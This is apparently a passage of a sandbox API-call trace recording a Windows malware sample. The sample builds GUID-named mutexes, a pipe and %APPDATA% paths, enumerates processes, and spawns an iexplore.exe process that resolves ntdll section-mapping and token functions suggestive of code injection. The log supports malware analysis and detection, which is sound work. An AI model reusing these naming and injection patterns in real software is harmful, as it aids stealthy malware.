lstrcpyA (in: lpString1=0x2a98ce8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.026] lstrcatA (in: lpString1="Local\\", lpString2="{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" | out: lpString1="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned 38 [0046.027] lstrlenA (lpString="Local\\") returned 6 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98d20 [0046.027] lstrcpyA (in: lpString1=0x2a98d20, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.027] lstrcatA (in: lpString1="Local\\", lpString2="{49B0014D-14FD-63C5-668D-8847FA113C6B}" | out: lpString1="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}") returned="Local\\{49B0014D-14FD-63C5-668D-8847FA113C6B}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned 38 [0046.027] lstrlenA (lpString="Local\\") returned 6 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98d58 [0046.027] lstrcpyA (in: lpString1=0x2a98d58, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.027] lstrcatA (in: lpString1="Local\\", lpString2="{CE377949-D5DC-3008-CFE2-D96473361DD8}" | out: lpString1="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}") returned="Local\\{CE377949-D5DC-3008-CFE2-D96473361DD8}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned 38 [0046.027] lstrlenA (lpString="\\\\.\\pipe\\") returned 9 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x30) returned 0x2a98d90 [0046.027] lstrcpyA (in: lpString1=0x2a98d90, lpString2="\\\\.\\pipe\\" | out: lpString1="\\\\.\\pipe\\") returned="\\\\.\\pipe\\" [0046.027] lstrcatA (in: lpString1="\\\\.\\pipe\\", lpString2="{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" | out: lpString1="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}") returned="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 38 [0046.027] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x3b) returned 0x2a98dc8 [0046.027] lstrcpyA (in: lpString1=0x2a98dc8, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0046.027] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="%APPDATA%\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 38 [0046.027] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x3b) returned 0x2a98e10 [0046.027] lstrcpyA (in: lpString1=0x2a98e10, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0046.027] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0046.027] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.027] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0046.027] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0046.027] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x3b) returned 0x2a98e58 [0046.028] lstrcpyA (in: lpString1=0x2a98e58, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0046.028] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.028] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0046.028] lstrlenA (lpString="Local\\") returned 6 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98ea0 [0046.028] lstrcpyA (in: lpString1=0x2a98ea0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.028] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.028] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0046.028] lstrlenA (lpString="Local\\") returned 6 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98ed8 [0046.028] lstrcpyA (in: lpString1=0x2a98ed8, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.028] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.028] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0046.028] lstrlenA (lpString="Local\\") returned 6 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98f10 [0046.028] lstrcpyA (in: lpString1=0x2a98f10, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.028] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.028] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0046.028] lstrlenA (lpString="Local\\") returned 6 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x2d) returned 0x2a98f48 [0046.028] lstrcpyA (in: lpString1=0x2a98f48, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0046.028] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a989e0 [0046.028] wsprintfA (in: param_1=0x2a989e0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{CE908CEF-D561-30C9-CFE2-D96473361DD8}") returned 38 [0046.028] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x27) returned 0x2a98f80 [0046.028] lstrcatA (in: lpString1="", lpString2="{CE908CEF-D561-30C9-CFE2-D96473361DD8}" | out: lpString1="{CE908CEF-D561-30C9-CFE2-D96473361DD8}") returned="{CE908CEF-D561-30C9-CFE2-D96473361DD8}" [0046.028] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.029] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76c00000 [0046.029] GetProcAddress (hModule=0x76c00000, lpProcName="GetWindowThreadProcessId") returned 0x76c191b4 [0046.029] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0046.029] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x2bfd38 | out: lpdwProcessId=0x2bfd38) returned 0x45c [0046.029] lstrlenW (lpString="I") returned 1 [0046.029] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x10000) returned 0x2a19590 [0046.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2a19590, Length=0x10000, ResultLength=0x2bfd30 | out: SystemInformation=0x2a19590, ResultLength=0x2bfd30*=0x9e80) returned 0x0 [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="System", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="S") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="smss.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="S") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="csrss.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="C") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="wininit.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="W") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="csrss.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="C") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="winlogon.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="W") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="services.exe", AllocateDestinationString=1) returned 0x0 [0046.031] RtlFreeAnsiString (AnsiString="S") [0046.031] GetCurrentProcessId () returned 0xaf8 [0046.031] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="lsass.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="L") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="lsm.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="L") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="audiodg.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="A") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="dwm.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="D") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="explorer.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="E") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="spoolsv.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="S") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.032] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="taskhost.exe", AllocateDestinationString=1) returned 0x0 [0046.032] RtlFreeAnsiString (AnsiString="T") [0046.032] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="S") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="ONENOTEM.EXE", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="O") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="taskeng.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="T") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="O") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="taskhost.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="T") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="nr nutrition.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="N") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="beat.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="B") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="refers.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="R") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="additions.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="A") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="clusters attack.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="C") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="oriental.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="O") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="protective quite sessions.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="P") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.033] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="mumbai.exe", AllocateDestinationString=1) returned 0x0 [0046.033] RtlFreeAnsiString (AnsiString="M") [0046.033] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="ps-workstation.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="P") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="today.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="T") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="dishesproductioncottage.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="D") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="unfortunatelyafterwardsemission.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="U") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="weblogs-waters.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="W") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="plaintiff.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="P") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="greensborooregon.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="G") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="chartspresently.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="C") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="ir grey.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="I") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="know.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="K") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="requirement_float_disability.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="R") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="licenses_miss.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="L") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="WmiPrvSE.exe", AllocateDestinationString=1) returned 0x0 [0046.034] RtlFreeAnsiString (AnsiString="W") [0046.034] GetCurrentProcessId () returned 0xaf8 [0046.034] RtlUpcaseUnicodeString (DestinationString=0x2bfd10, SourceString="mobsync.exe", AllocateDestinationString=1) returned 0x0 [0046.035] RtlFreeAnsiString (AnsiString="M") [0046.035] GetCurrentProcessId () returned 0xaf8 [0046.035] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0046.035] ExitProcess (uExitCode=0xffffffff) Thread: id = 50 os_tid = 0xb14 Process: id = "5" image_name = "iexplore.exe" filename = "c:\\program files (x86)\\internet explorer\\iexplore.exe" page_root = "0x76678000" os_pid = "0xb54" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" " cur_dir = "C:\\Users\\aETAdzjz\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xb58 [0064.139] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ntdll.dll", BaseAddress=0x26fde0 | out: BaseAddress=0x26fde0*=0x77340000) returned 0x0 [0064.139] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwClose", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735f9d0) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fc10) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773610b0) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationToken", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fb98) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtCreateSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735ff94) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtUnmapViewOfSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fc70) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtMapViewOfSection", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fc40) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlRandomEx", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773801e3) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="ZwQueryInformationProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fac8) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlGetVersion", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7737873a) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlNtStatusToDosError", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773761ed) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="NtQuerySystemInformation", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7735fda0) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77373164) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strupr", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77414a75) returned 0x0 [0064.140] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_wcsupr", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77414f53) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="memmove", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77378f50) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="bsearch", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7736ebdc) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_vsnwprintf", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x7738ef93) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="strstr", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773bc780) returned 0x0 [0064.141] LdrGetProcedureAddress (in: BaseAddress=0x77340000, Name="_strlwr", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x77414a48) returned 0x0 [0064.141] 